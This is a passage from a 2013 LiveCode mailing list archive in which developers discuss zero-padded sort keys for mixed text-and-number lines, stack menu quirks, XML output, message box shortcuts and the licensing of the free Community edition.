item 1 of l >> >> *put* zero after tKey >> >> *end* *repeat* >> >> *put* word -1 of item 1 of l after tKey >> >> *return* tKey >> >> *end* reformatLine >> >> Pete >> lcSQL Software >> _______________________________________________ >> use-livecode mailing list >> use-livecode at lists.runrev.com >> Please visit this url to subscribe, unsubscribe and manage your subscription preferences: >> http://lists.runrev.com/mailman/listinfo/use-livecode > > > _______________________________________________ > use-livecode mailing list > use-livecode at lists.runrev.com > Please visit this url to subscribe, unsubscribe and manage your subscription preferences: > http://lists.runrev.com/mailman/listinfo/use-livecode From pete at lcsql.com Tue May 28 16:27:48 2013 From: pete at lcsql.com (Peter Haworth) Date: Tue, 28 May 2013 13:27:48 -0700 Subject: text sortType In-Reply-To: <5BAC2BEE-56BA-456D-A23E-00DB7BFA8DF9@swcp.com> References: <003401ce5bc9$8416e490$8c44adb0$@de> <8D029E772C04A1E-15D0-2B699@webmail-d224.sysops.aol.com> <51A4FE51.3090707@hyperactivesw.com> <51A504E7.1000603@hyperactivesw.com> <5BAC2BEE-56BA-456D-A23E-00DB7BFA8DF9@swcp.com> Message-ID: Yes, Geoff's is definitely simpler, hadn't seen it when I made my post. It did give me the opportunity to finally use the custom function feature of the sort command though! I like the shortcut! "After" is right in my code - I put the words into tKey, then the zeros, then the number. With your shortcut, the whole thing could be compressed down to: return word 1 to -2 of L & char -6 to -1 of ("000000" & word -1 of L) (I think!) Pete lcSQL Software On Tue, May 28, 2013 at 12:51 PM, Dar Scott wrote: > I think this and Geoff's are good! This one is more general if you can > come up with some sort of metric or sortvalue for each item/list. Geoff's > is simpler for this case. The speed difference will depend on the length > of the list. > > Shouldn't the zero be put 'before' instead of 'after' to force a numerical > sort? > > Also, there is a shortcut. > > put char -6 to -1 of ("000000" & tKey) into tKey > > Dar > > > On May 28, 2013, at 1:41 PM, Peter Haworth wrote: > > > The following worked for me (with apologies ofr any asterisks that may be > > inserted into the script by my email client) > > > > It assumes there won;t be any numbers > 6 digits. > > > > *on* mouseUp > > > > *sort* lines of field "Field" by reformatLine(each) > > > > *end* mouseUp > > > > > > *function* reformatLine l > > > > *local* tKey > > > > *put* word 1 to -2 of item 1 of l into tKey > > > > *repeat* 6-the length of word -1 of item 1 of l > > > > *put* zero after tKey > > > > *end* *repeat* > > > > *put* word -1 of item 1 of l after tKey > > > > *return* tKey > > > > *end* reformatLine > > > > Pete > > lcSQL Software > > _______________________________________________ > > use-livecode mailing list > > use-livecode at lists.runrev.com > > Please visit this url to subscribe, unsubscribe and manage your > subscription preferences: > > http://lists.runrev.com/mailman/listinfo/use-livecode > > > _______________________________________________ > use-livecode mailing list > use-livecode at lists.runrev.com > Please visit this url to subscribe, unsubscribe and manage your > subscription preferences: > http://lists.runrev.com/mailman/listinfo/use-livecode > From dsc at swcp.com Tue May 28 17:01:26 2013 From: dsc at swcp.com (Dar Scott) Date: Tue, 28 May 2013 15:01:26 -0600 Subject: text sortType In-Reply-To: References: <003401ce5bc9$8416e490$8c44adb0$@de> <8D029E772C04A1E-15D0-2B699@webmail-d224.sysops.aol.com> <51A4FE51.3090707@hyperactivesw.com> <51A504E7.1000603@hyperactivesw.com> <5BAC2BEE-56BA-456D-A23E-00DB7BFA8DF9@swcp.com> Message-ID: Great minds think alike! That is the same return command I used! Switching to capital L is a good idea, lower case l is hard to read. And you are right, I was so caught up in how I wanted to do it, I didn't see that yours should work, too, based on 'after'. And you are right, this is a good place to consider the custom sorting value function. I think had a slightly different interpretation of the format of the lines, but still... This looks the same. Dar On May 28, 2013, at 2:27 PM, Peter Haworth wrote: > Yes, > Geoff's is definitely simpler, hadn't seen it when I made my post. It did > give me the opportunity to finally use the custom function feature of the > sort command though! > > I like the shortcut! > > "After" is right in my code - I put the words into tKey, then the zeros, > then the number. With your shortcut, the whole thing could be compressed > down to: > > return word 1 to -2 of L & char -6 to -1 of ("000000" & word -1 of L) (I > think!) > > Pete > lcSQL Software > > > On Tue, May 28, 2013 at 12:51 PM, Dar Scott wrote: > >> I think this and Geoff's are good! This one is more general if you can >> come up with some sort of metric or sortvalue for each item/list. Geoff's >> is simpler for this case. The speed difference will depend on the length >> of the list. >> >> Shouldn't the zero be put 'before' instead of 'after' to force a numerical >> sort? >> >> Also, there is a shortcut. >> >> put char -6 to -1 of ("000000" & tKey) into tKey >> >> Dar >> >> >> On May 28, 2013, at 1:41 PM, Peter Haworth wrote: >> >>> The following worked for me (with apologies ofr any asterisks that may be >>> inserted into the script by my email client) >>> >>> It assumes there won;t be any numbers > 6 digits. >>> >>> *on* mouseUp >>> >>> *sort* lines of field "Field" by reformatLine(each) >>> >>> *end* mouseUp >>> >>> >>> *function* reformatLine l >>> >>> *local* tKey >>> >>> *put* word 1 to -2 of item 1 of l into tKey >>> >>> *repeat* 6-the length of word -1 of item 1 of l >>> >>> *put* zero after tKey >>> >>> *end* *repeat* >>> >>> *put* word -1 of item 1 of l after tKey >>> >>> *return* tKey >>> >>> *end* reformatLine >>> >>> Pete >>> lcSQL Software >>> _______________________________________________ >>> use-livecode mailing list >>> use-livecode at lists.runrev.com >>> Please visit this url to subscribe, unsubscribe and manage your >> subscription preferences: >>> http://lists.runrev.com/mailman/listinfo/use-livecode >> >> >> _______________________________________________ >> use-livecode mailing list >> use-livecode at lists.runrev.com >> Please visit this url to subscribe, unsubscribe and manage your >> subscription preferences: >> http://lists.runrev.com/mailman/listinfo/use-livecode >> > _______________________________________________ > use-livecode mailing list > use-livecode at lists.runrev.com > Please visit this url to subscribe, unsubscribe and manage your subscription preferences: > http://lists.runrev.com/mailman/listinfo/use-livecode From gcanyon at gmail.com Tue May 28 17:37:38 2013 From: gcanyon at gmail.com (Geoff Canyon) Date: Tue, 28 May 2013 16:37:38 -0500 Subject: text sortType In-Reply-To: <9A0AFA22-9790-4413-8948-C49C73644B07@swcp.com> References: <003401ce5bc9$8416e490$8c44adb0$@de> <8D029E772C04A1E-15D0-2B699@webmail-d224.sysops.aol.com> <51A4FE51.3090707@hyperactivesw.com> <51A504E7.1000603@hyperactivesw.com> <5BAC2BEE-56BA-456D-A23E-00DB7BFA8DF9@swcp.com> <9A0AFA22-9790-4413-8948-C49C73644B07@swcp.com> Message-ID: Interesting -- this works in one line: sort lines of x by word 1 to -2 of item 1 of each & char -10 to -1 of ("0000000000" & word -1 of item 1 of each) I'm a little put off by not using the native "numeric" -- I'd be worried that something I'm not thinking of right now would break it. But nevertheless, it works. I timed three options and found that (on the sample I tried -- 1 million lines) sort lines of x numeric by word -1 of item 1 of each sort lines of x by word 1 to -2 of item 1 of each is fastest, barely. sort lines of x by word 1 to -2 of item 1 of each & char -10 to -1 of ("0000000000" & word -1 of item 1 of each) is just slightly slower. sort lines of x by sortKey(item 1 of each) with function sortKey X return ((word 1 to -2 of X) & (char -10 to -1 of ("0000000000" & word -1 of X))) end sortKey was slower, but only by about 1.4 times. gc On Tue, May 28, 2013 at 3:04 PM, Dar Scott wrote: > Whoops, I didn't read Peter's solution all the way. > > I guessed at what he was doing instead of giving it the attention it > deserved. > > I guess my thumbs up was for using the sorting value function and for > putting in zero digits. > > I would (off the top of my head) simplify (and change) that to this: > > function reformatLine pL > get item 1 of it > return (word 1 to -2 of it) && char -6 to -1 of ("000000" & word -1 of > it) > end reformatLine > > By adding leading zeros for a fixed length, a text sort is the same as a > number sort. > > A 3rd solution is to put fixed length numerals in the last word of the > original data. > > (I could try using the *s as an excuse, but it is not a good excuse, sorry > for commenting after only a glance.) > > Dar > > > On May 28, 2013, at 1:51 PM, Dar Scott wrote: > > > I think this and Geoff's are good! This one is more general if you can > come up with some sort of metric or sortvalue for each item/list. Geoff's > is simpler for this case. The speed difference will depend on the length > of the list. > > > > Shouldn't the zero be put 'before' instead of 'after' to force a > numerical sort? > > > > Also, there is a shortcut. > > > > put char -6 to -1 of ("000000" & tKey) into tKey > > > > Dar > > > > > > On May 28, 2013, at 1:41 PM, Peter Haworth wrote: > > > >> The following worked for me (with apologies ofr any asterisks that may > be > >> inserted into the script by my email client) > >> > >> It assumes there won;t be any numbers > 6 digits. > >> > >> *on* mouseUp > >> > >> *sort* lines of field "Field" by reformatLine(each) > >> > >> *end* mouseUp > >> > >> > >> *function* reformatLine l > >> > >> *local* tKey > >> > >> *put* word 1 to -2 of item 1 of l into tKey > >> > >> *repeat* 6-the length of word -1 of item 1 of l > >> > >> *put* zero after tKey > >> > >> *end* *repeat* > >> > >> *put* word -1 of item 1 of l after tKey > >> > >> *return* tKey > >> > >> *end* reformatLine > >> > >> Pete > >> lcSQL Software > >> _______________________________________________ > >> use-livecode mailing list > >> use-livecode at lists.runrev.com > >> Please visit this url to subscribe, unsubscribe and manage your > subscription preferences: > >> http://lists.runrev.com/mailman/listinfo/use-livecode > > > > > > _______________________________________________ > > use-livecode mailing list > > use-livecode at lists.runrev.com > > Please visit this url to subscribe, unsubscribe and manage your > subscription preferences: > > http://lists.runrev.com/mailman/listinfo/use-livecode > > > _______________________________________________ > use-livecode mailing list > use-livecode at lists.runrev.com > Please visit this url to subscribe, unsubscribe and manage your > subscription preferences: > http://lists.runrev.com/mailman/listinfo/use-livecode > From pete at lcsql.com Tue May 28 17:40:34 2013 From: pete at lcsql.com (Peter Haworth) Date: Tue, 28 May 2013 14:40:34 -0700 Subject: Check marks in menu items Message-ID: Can't get "!c" to show a check mark in front of an item in an option menu. Maybe that feature doesn't work in option menus? Pete lcSQL Software From dsc at swcp.com Tue May 28 18:04:47 2013 From: dsc at swcp.com (Dar Scott) Date: Tue, 28 May 2013 16:04:47 -0600 Subject: text sortType In-Reply-To: References: <003401ce5bc9$8416e490$8c44adb0$@de> <8D029E772C04A1E-15D0-2B699@webmail-d224.sysops.aol.com> <51A4FE51.3090707@hyperactivesw.com> <51A504E7.1000603@hyperactivesw.com> <5BAC2BEE-56BA-456D-A23E-00DB7BFA8DF9@swcp.com> <9A0AFA22-9790-4413-8948-C49C73644B07@swcp.com> Message-ID: On May 28, 2013, at 3:37 PM, Geoff Canyon wrote: > I'm a little put off by not using the native "numeric" -- I'd be worried > that something I'm not thinking of right now would break it. But > nevertheless, it works. You mean like 0x4B? Or 34.0? Or E notation? Or -Inf? Dar From rjb at robelko.com Tue May 28 18:07:06 2013 From: rjb at robelko.com (Robert Brenstein) Date: Wed, 29 May 2013 00:07:06 +0200 Subject: Dynamically Creating Buttons In-Reply-To: <51A4EADB.10802@gmail.com> References: <51A4EADB.10802@gmail.com> Message-ID: On 28.05.2013 at 13:35 Uhr -0400 Graham Pearson apparently wrote: >Without having any objects on a card, does anyone have notes on how to >create a button and position it to the coordinates of 5,5 > >In my application, I am to the point now to taking each record from a >database and creating a button for the user to select. The information >from this loop will contain the text for the button and will allow for 5 >pixels of spacing between buttons. You might want to consider filling card with buttons, hide all of them, and show as needed, setting their labels instead of actually creating them. Robert From pete at lcsql.com Tue May 28 19:14:26 2013 From: pete at lcsql.com (Peter Haworth) Date: Tue, 28 May 2013 16:14:26 -0700 Subject: text sortType In-Reply-To: References: <003401ce5bc9$8416e490$8c44adb0$@de> <8D029E772C04A1E-15D0-2B699@webmail-d224.sysops.aol.com> <51A4FE51.3090707@hyperactivesw.com> <51A504E7.1000603@hyperactivesw.com> <5BAC2BEE-56BA-456D-A23E-00DB7BFA8DF9@swcp.com> <9A0AFA22-9790-4413-8948-C49C73644B07@swcp.com> Message-ID: Overall, I'd be inclined to use your solution Geoff - much easier to read whereas the others are the type of thing where you come back to it in a few months (or someone else looks at it the next day) and you think "what the hell is that!" Pete lcSQL Software On Tue, May 28, 2013 at 2:37 PM, Geoff Canyon wrote: > Interesting -- this works in one line: > > sort lines of x by word 1 to -2 of item 1 of each & char -10 to -1 of > ("0000000000" & word -1 of item 1 of each) > > I'm a little put off by not using the native "numeric" -- I'd be worried > that something I'm not thinking of right now would break it. But > nevertheless, it works. > > I timed three options and found that (on the sample I tried -- 1 million > lines) > > sort lines of x numeric by word -1 of item 1 of each > sort lines of x by word 1 to -2 of item 1 of each > > is fastest, barely. > > sort lines of x by word 1 to -2 of item 1 of each & char -10 to -1 of > ("0000000000" & word -1 of item 1 of each) > > is just slightly slower. > > sort lines of x by sortKey(item 1 of each) > > with > > function sortKey X > return ((word 1 to -2 of X) & (char -10 to -1 of ("0000000000" & word -1 > of X))) > end sortKey > > was slower, but only by about 1.4 times. > > gc > > > On Tue, May 28, 2013 at 3:04 PM, Dar Scott wrote: > > > Whoops, I didn't read Peter's solution all the way. > > > > I guessed at what he was doing instead of giving it the attention it > > deserved. > > > > I guess my thumbs up was for using the sorting value function and for > > putting in zero digits. > > > > I would (off the top of my head) simplify (and change) that to this: > > > > function reformatLine pL > > get item 1 of it > > return (word 1 to -2 of it) && char -6 to -1 of ("000000" & word -1 of > > it) > > end reformatLine > > > > By adding leading zeros for a fixed length, a text sort is the same as a > > number sort. > > > > A 3rd solution is to put fixed length numerals in the last word of the > > original data. > > > > (I could try using the *s as an excuse, but it is not a good excuse, > sorry > > for commenting after only a glance.) > > > > Dar > > > > > > On May 28, 2013, at 1:51 PM, Dar Scott wrote: > > > > > I think this and Geoff's are good! This one is more general if you can > > come up with some sort of metric or sortvalue for each item/list. > Geoff's > > is simpler for this case. The speed difference will depend on the length > > of the list. > > > > > > Shouldn't the zero be put 'before' instead of 'after' to force a > > numerical sort? > > > > > > Also, there is a shortcut. > > > > > > put char -6 to -1 of ("000000" & tKey) into tKey > > > > > > Dar > > > > > > > > > On May 28, 2013, at 1:41 PM, Peter Haworth wrote: > > > > > >> The following worked for me (with apologies ofr any asterisks that may > > be > > >> inserted into the script by my email client) > > >> > > >> It assumes there won;t be any numbers > 6 digits. > > >> > > >> *on* mouseUp > > >> > > >> *sort* lines of field "Field" by reformatLine(each) > > >> > > >> *end* mouseUp > > >> > > >> > > >> *function* reformatLine l > > >> > > >> *local* tKey > > >> > > >> *put* word 1 to -2 of item 1 of l into tKey > > >> > > >> *repeat* 6-the length of word -1 of item 1 of l > > >> > > >> *put* zero after tKey > > >> > > >> *end* *repeat* > > >> > > >> *put* word -1 of item 1 of l after tKey > > >> > > >> *return* tKey > > >> > > >> *end* reformatLine > > >> > > >> Pete > > >> lcSQL Software > > >> _______________________________________________ > > >> use-livecode mailing list > > >> use-livecode at lists.runrev.com > > >> Please visit this url to subscribe, unsubscribe and manage your > > subscription preferences: > > >> http://lists.runrev.com/mailman/listinfo/use-livecode > > > > > > > > > _______________________________________________ > > > use-livecode mailing list > > > use-livecode at lists.runrev.com > > > Please visit this url to subscribe, unsubscribe and manage your > > subscription preferences: > > > http://lists.runrev.com/mailman/listinfo/use-livecode > > > > > > _______________________________________________ > > use-livecode mailing list > > use-livecode at lists.runrev.com > > Please visit this url to subscribe, unsubscribe and manage your > > subscription preferences: > > http://lists.runrev.com/mailman/listinfo/use-livecode > > > _______________________________________________ > use-livecode mailing list > use-livecode at lists.runrev.com > Please visit this url to subscribe, unsubscribe and manage your > subscription preferences: > http://lists.runrev.com/mailman/listinfo/use-livecode > From mwieder at ahsoftware.net Tue May 28 21:26:07 2013 From: mwieder at ahsoftware.net (Mark Wieder) Date: Tue, 28 May 2013 18:26:07 -0700 Subject: revXMLText not formatting output? In-Reply-To: <57b1ca5eb49fb1f0208a604325071c72@curiositi.com> References: <57b1ca5eb49fb1f0208a604325071c72@curiositi.com> Message-ID: <13480565803.20130528182607@ahsoftware.net> ForrestD- Wednesday, May 22, 2013, 7:40:45 AM, you wrote: > Has anyone had success using revXMLText to output a formatted XML file > from an XML Tree? While I use the built-in xml functions to read xml streams, I find it much easier to generate xml output myself. > The resulting file does not have indenting and line breaks. Do you care? Xml isn't particularly designed to be readable my humans, and computers don't care about indenting or line breaks. -- -Mark Wieder mwieder at ahsoftware.net From mwieder at ahsoftware.net Tue May 28 21:36:35 2013 From: mwieder at ahsoftware.net (Mark Wieder) Date: Tue, 28 May 2013 18:36:35 -0700 Subject: JSON In-Reply-To: References: Message-ID: <18781194477.20130528183635@ahsoftware.net> What Andrew said. I do the same using post, and it's pretty painless and the key-value pairs are more readable than xml if you can handle all the braces. -- -Mark Wieder mwieder at ahsoftware.net From pete at lcsql.com Tue May 28 21:57:38 2013 From: pete at lcsql.com (Peter Haworth) Date: Tue, 28 May 2013 18:57:38 -0700 Subject: Stack menus Message-ID: Putting together a stack menu for the first time and finding a couple of issues. The menu object is a pulldown menu with its menuName set to the stack I want displayed. The stack menu displays fine but a couple of. When the mouse rolls over one of the stack menu options, it's background becomes a very dark blue color. Looking for guidance on how to fix that since I've tried the obvious color settings to no avail. Maybe some other property needs (un)setting? The other issue seems to a difference in how the message path works when I click on a button in the stack menu. I have a mouseUp handler in each stack menu button which calls a handler I have at the card level. In debug, I see the mouseUp handler executing but even though it executes the call to the card hanlder, the card level handler never executes. I've worked round it by putting the mouseUp handler at the card level, arguably a better solution anyway but curious about this behavior. Pete lcSQL Software From mwieder at ahsoftware.net Tue May 28 22:23:48 2013 From: mwieder at ahsoftware.net (Mark Wieder) Date: Tue, 28 May 2013 19:23:48 -0700 Subject: message too big (was Re: Counting problem) In-Reply-To: <51A41FA4.7080008@hyperactivesw.com> References: <8D026E0B9BDF41C-15D0-1898F@webmail-d224.sysops.aol.com> <519FF363.7070103@tweedly.net> <8D0270667D71069-1084-151AE@webmail-d145.sysops.aol.com> <13921AAE-5CEE-4854-93CE-F3ABF7F2B83E@unil.ch> <0583A008-4E0C-4754-B2D3-1836F05ED396@swcp.com> <8D027959ADC87BA-115C-1D68C@webmail-d260.sysops.aol.com> <51A132ED.2080605@hyperactivesw.com> <8D0295E551DEA69-E80-24FBB@webmail-vm008.sysops.aol.com> <51A41FA4.7080008@hyperactivesw.com> Message-ID: <11784026904.20130528192348@ahsoftware.net> Jacque- Monday, May 27, 2013, 8:08:20 PM, you wrote: > You should see some of my old stuff. Wait. No you shouldn't. Whew! Stopped myself just in time. -- -Mark Wieder mwieder at ahsoftware.net From mark.rauterkus at gmail.com Tue May 28 23:09:07 2013 From: mark.rauterkus at gmail.com (Mark Rauterkus) Date: Tue, 28 May 2013 23:09:07 -0400 Subject: Simple stuff, Message box on Laptop Message-ID: Hi, On a laptop I don't have an "ENTER" key and can't use the message box by hitting ENTER to run the code. The Return key (WIN) just puts a new line in the message box. Is there a work around? Seems that CTR + ENTER or something similar would be nice. -- Ta. Mark Rauterkus Mark.Rauterkus at gmail.com PPS Summer Dreamers' Swim and Water Polo Camp Head Coach Pittsburgh Combined Water Polo Team 412 298 3432 = cell From dsc at swcp.com Tue May 28 23:10:35 2013 From: dsc at swcp.com (Dar Scott) Date: Tue, 28 May 2013 21:10:35 -0600 Subject: Check marks in menu items In-Reply-To: References: Message-ID: On May 28, 2013, at 3:40 PM, Peter Haworth wrote: > Can't get "!c" to show a check mark in front of an item in an option menu. > Maybe that feature doesn't work in option menus? If that is the case, maybe it makes sense. The check box typically represents state. Something is on or off. Well, the option menu represents state in itself. It is the popup menu that is an imperative of some sort. That imperative might be to check or uncheck an item when turning something on and off. Blocking the checkbox might seem a little paternalistic, though. On the other hand, you might feel you have just been saved from some GUI mistake and are glad LiveCode caught it for you. Dar From bonnmike at gmail.com Tue May 28 23:17:31 2013 From: bonnmike at gmail.com (Mike Bonner) Date: Tue, 28 May 2013 21:17:31 -0600 Subject: Simple stuff, Message box on Laptop In-Reply-To: References: Message-ID: crtl-return does work in the multiline msg box. On Tue, May 28, 2013 at 9:09 PM, Mark Rauterkus wrote: > Hi, > > On a laptop I don't have an "ENTER" key and can't use the message box by > hitting ENTER to run the code. The Return key (WIN) just puts a new line in > the message box. > > Is there a work around? > > Seems that CTR + ENTER or something similar would be nice. > > > > -- > Ta. > > > Mark Rauterkus Mark.Rauterkus at gmail.com > PPS Summer Dreamers' Swim and Water Polo Camp Head Coach > Pittsburgh Combined Water Polo Team > > 412 298 3432 = cell > _______________________________________________ > use-livecode mailing list > use-livecode at lists.runrev.com > Please visit this url to subscribe, unsubscribe and manage your > subscription preferences: > http://lists.runrev.com/mailman/listinfo/use-livecode > From andrew at ctech.me Tue May 28 23:26:22 2013 From: andrew at ctech.me (Andrew Kluthe) Date: Tue, 28 May 2013 22:26:22 -0500 Subject: text sortType In-Reply-To: References: <003401ce5bc9$8416e490$8c44adb0$@de> <8D029E772C04A1E-15D0-2B699@webmail-d224.sysops.aol.com> <51A4FE51.3090707@hyperactivesw.com> <51A504E7.1000603@hyperactivesw.com> <5BAC2BEE-56BA-456D-A23E-00DB7BFA8DF9@swcp.com> <9A0AFA22-9790-4413-8948-C49C73644B07@swcp.com> Message-ID: Wow, such a plethora of solutions! Thank you. Worked like a charm. I just wasn't thinking it through clear enough. Andrew On Tue, May 28, 2013 at 6:14 PM, Peter Haworth wrote: > Overall, I'd be inclined to use your solution Geoff - much easier to read > whereas the others are the type of thing where you come back to it in a few > months (or someone else looks at it the next day) and you think "what the > hell is that!" > > > Pete > lcSQL Software > > > On Tue, May 28, 2013 at 2:37 PM, Geoff Canyon wrote: > > > Interesting -- this works in one line: > > > > sort lines of x by word 1 to -2 of item 1 of each & char -10 to -1 of > > ("0000000000" & word -1 of item 1 of each) > > > > I'm a little put off by not using the native "numeric" -- I'd be worried > > that something I'm not thinking of right now would break it. But > > nevertheless, it works. > > > > I timed three options and found that (on the sample I tried -- 1 million > > lines) > > > > sort lines of x numeric by word -1 of item 1 of each > > sort lines of x by word 1 to -2 of item 1 of each > > > > is fastest, barely. > > > > sort lines of x by word 1 to -2 of item 1 of each & char -10 to -1 of > > ("0000000000" & word -1 of item 1 of each) > > > > is just slightly slower. > > > > sort lines of x by sortKey(item 1 of each) > > > > with > > > > function sortKey X > > return ((word 1 to -2 of X) & (char -10 to -1 of ("0000000000" & word > -1 > > of X))) > > end sortKey > > > > was slower, but only by about 1.4 times. > > > > gc > > > > > > On Tue, May 28, 2013 at 3:04 PM, Dar Scott wrote: > > > > > Whoops, I didn't read Peter's solution all the way. > > > > > > I guessed at what he was doing instead of giving it the attention it > > > deserved. > > > > > > I guess my thumbs up was for using the sorting value function and for > > > putting in zero digits. > > > > > > I would (off the top of my head) simplify (and change) that to this: > > > > > > function reformatLine pL > > > get item 1 of it > > > return (word 1 to -2 of it) && char -6 to -1 of ("000000" & word -1 > of > > > it) > > > end reformatLine > > > > > > By adding leading zeros for a fixed length, a text sort is the same as > a > > > number sort. > > > > > > A 3rd solution is to put fixed length numerals in the last word of the > > > original data. > > > > > > (I could try using the *s as an excuse, but it is not a good excuse, > > sorry > > > for commenting after only a glance.) > > > > > > Dar > > > > > > > > > On May 28, 2013, at 1:51 PM, Dar Scott wrote: > > > > > > > I think this and Geoff's are good! This one is more general if you > can > > > come up with some sort of metric or sortvalue for each item/list. > > Geoff's > > > is simpler for this case. The speed difference will depend on the > length > > > of the list. > > > > > > > > Shouldn't the zero be put 'before' instead of 'after' to force a > > > numerical sort? > > > > > > > > Also, there is a shortcut. > > > > > > > > put char -6 to -1 of ("000000" & tKey) into tKey > > > > > > > > Dar > > > > > > > > > > > > On May 28, 2013, at 1:41 PM, Peter Haworth wrote: > > > > > > > >> The following worked for me (with apologies ofr any asterisks that > may > > > be > > > >> inserted into the script by my email client) > > > >> > > > >> It assumes there won;t be any numbers > 6 digits. > > > >> > > > >> *on* mouseUp > > > >> > > > >> *sort* lines of field "Field" by reformatLine(each) > > > >> > > > >> *end* mouseUp > > > >> > > > >> > > > >> *function* reformatLine l > > > >> > > > >> *local* tKey > > > >> > > > >> *put* word 1 to -2 of item 1 of l into tKey > > > >> > > > >> *repeat* 6-the length of word -1 of item 1 of l > > > >> > > > >> *put* zero after tKey > > > >> > > > >> *end* *repeat* > > > >> > > > >> *put* word -1 of item 1 of l after tKey > > > >> > > > >> *return* tKey > > > >> > > > >> *end* reformatLine > > > >> > > > >> Pete > > > >> lcSQL Software > > > >> _______________________________________________ > > > >> use-livecode mailing list > > > >> use-livecode at lists.runrev.com > > > >> Please visit this url to subscribe, unsubscribe and manage your > > > subscription preferences: > > > >> http://lists.runrev.com/mailman/listinfo/use-livecode > > > > > > > > > > > > _______________________________________________ > > > > use-livecode mailing list > > > > use-livecode at lists.runrev.com > > > > Please visit this url to subscribe, unsubscribe and manage your > > > subscription preferences: > > > > http://lists.runrev.com/mailman/listinfo/use-livecode > > > > > > > > > _______________________________________________ > > > use-livecode mailing list > > > use-livecode at lists.runrev.com > > > Please visit this url to subscribe, unsubscribe and manage your > > > subscription preferences: > > > http://lists.runrev.com/mailman/listinfo/use-livecode > > > > > _______________________________________________ > > use-livecode mailing list > > use-livecode at lists.runrev.com > > Please visit this url to subscribe, unsubscribe and manage your > > subscription preferences: > > http://lists.runrev.com/mailman/listinfo/use-livecode > > > _______________________________________________ > use-livecode mailing list > use-livecode at lists.runrev.com > Please visit this url to subscribe, unsubscribe and manage your > subscription preferences: > http://lists.runrev.com/mailman/listinfo/use-livecode > -- Regards, Andrew Kluthe andrew at ctech.me From mark.rauterkus at gmail.com Tue May 28 23:28:49 2013 From: mark.rauterkus at gmail.com (Mark Rauterkus) Date: Tue, 28 May 2013 23:28:49 -0400 Subject: Download page and version # Message-ID: Hi, The download page, http://livecode.com/download/, does NOT note what version is being served. I see some posting about 6.0.2. But only 6.0.1 is now on the download for LC Community. There was a few day lag going to 6.0.1 too. Wondering, will future downloads also include all the ANDROID and iOS SDK and utilities? It would be great if ONE download gave all the parts. In the past, one had to pay extra for the mobile elements and they were NOT included in the downloads. Now that seems to be a non-issue with LC Community and it would be sweet to get everything one needs in one lump. Right? I could not install the WIN Android last week as the zip called for a password. -- Ta. Mark Rauterkus Mark.Rauterkus at gmail.com From paulhibbert at mac.com Tue May 28 23:33:14 2013 From: paulhibbert at mac.com (Paul Hibbert) Date: Tue, 28 May 2013 20:33:14 -0700 Subject: Stack menus In-Reply-To: References: Message-ID: <1AEDCC44-CCB6-4CF2-A0FE-909852DE5F16@mac.com> On 2013-05-28, at 6:57 PM, Peter Haworth wrote: > Putting together a stack menu for the first time and finding a couple of > issues. > > The menu object is a pulldown menu with its menuName set to the stack I > want displayed. The stack menu displays fine but a couple of. > > When the mouse rolls over one of the stack menu options, it's background > becomes a very dark blue color. Looking for guidance on how to fix that > since I've tried the obvious color settings to no avail. Maybe some other > property needs (un)setting? You can set the 'Hilite' colour for the MenuBar group to whatever colour you prefer, unfortunately the default is dark blue and not the user's system highlight colour. However, if you check the 'Set as stack menubar' in the menu builder AFAIK it will then use the system highlight colour and take on the same appearance of the system menus on Win and use the system menubar on Mac. > The other issue seems to a difference in how the message path works when I > click on a button in the stack menu. I have a mouseUp handler in each > stack menu button which calls a handler I have at the card level. In > debug, I see the mouseUp handler executing but even though it executes the > call to the card hanlder, the card level handler never executes. > I've worked round it by putting the mouseUp handler at the card level, > arguably a better solution anyway but curious about this behavior. It seems that mouseUp handlers don't work if the menuPick message is used in a pulldown menu script, from what I can see you can have one or the other, so your workaround may be the best option. Paul From richmondmathewson at gmail.com Wed May 29 04:28:19 2013 From: richmondmathewson at gmail.com (Richmond) Date: Wed, 29 May 2013 11:28:19 +0300 Subject: Download page and version # In-Reply-To: References: Message-ID: <51A5BC23.10709@gmail.com> On 05/29/2013 06:28 AM, Mark Rauterkus wrote: > Hi, > > The download page, http://livecode.com/download/, does NOT note what > version is being served. > > I see some posting about 6.0.2. But only 6.0.1 is now on the download for > LC Community. > > There was a few day lag going to 6.0.1 too. > > Wondering, will future downloads also include all the ANDROID and iOS SDK > and utilities? It would be great if ONE download gave all the parts. > > In the past, one had to pay extra for the mobile elements and they were NOT > included in the downloads. Now that seems to be a non-issue with LC > Community and it would be sweet to get everything one needs in one lump. > Right? Left. The Free lump is very sweet indeed. However 'Free' is as Free does, and there is NO such thing as 100% FREE anywhere, and that is why the 'Free' version of Livecode is hedged around with an Open Source Licence that RESTRICTS what you can do with it. ____________________________________ RunRev, in the past, released a variety of 99% Free versions . . . . . remember 1.1.1 and 2.0.1 that worked for FREE with a restriction on 10 lines of code per object??? remember the Free versions of RevMedia??? nobody was entirely happy with them; neither RunRev nor the end-users. The end-users wanted MORE and RunRev wanted LESS; not surprising really! As far as I can see the OSS version of Livecode is just about as good as it can get . . . 1. RunRev keeps getting paid (from the commercial version) to carry on developing LC. 2. RunRev pumps those developments into the OSS version. 3. Any modifications made by users of the OSS version can be pumped back into both the pay and the free versions. RunRev would, frankly, be cutting their own throats if they released the commercial version for FREE. _____________________________ However if one wants to develop commercial software that all and everybody cannot poke around inside you have to stump up the money for the commercial version, and in that respect RunRev can set the whole shebang as one sweet lump, or parcel it up into various lesser lumps. The theory behind the commercial package (and, believe me, I know the difference between that theory and the practice) is that as YOU are going to be making money out of whatever you produce with it, THEY should get a share of the pie (seems reasonable). I suspect the theory runs on a bit in that RunRev expect YOU to get higher income from programs for mobile machines than from bog-standard-sit-on-the-desk-an-glower-at- you PCs, so THEY want a larger slice of the pie. Of course the 'problem' about that model is that to develop software for a mobile machine one has to do it on a desktop machine, so buying the ability to develop for a mobile platform assumes one has already stumped up for at least one desktop version. Mind you how you would develop software ON an iPhone is beyond me. So what would I do? [speaking as somebody who knows nothing about business and every time he has tried his hand at business has got nowhere] I would go and ask a business person who has already successfully developed an app for a mobile platform with Livecode for their advice. BUT, what I do know is that you have to put your money where your mouth is, and there is no such thing as a no-risk situation; unless, of course, you work for the UK Health and Safety Executive, LOL. Richmond. PS. From my experience I can say 2 things about the good people at RunRev: 1. They pretend not to listen to their customer base, but do. 2. They, eventually, cave into what end-users ask for, without admitting they are doing that, and, normally, in a far better way than the end-users ever thought of. > > I could not install the WIN Android last week as the zip called for a > password. > > > > -- > Ta. > > > Mark Rauterkus Mark.Rauterkus at gmail.com > _______________________________________________ > use-livecode mailing list > use-livecode at lists.runrev.com > Please visit this url to subscribe, unsubscribe and manage your subscription preferences: > http://lists.runrev.com/mailman/listinfo/use-livecode From 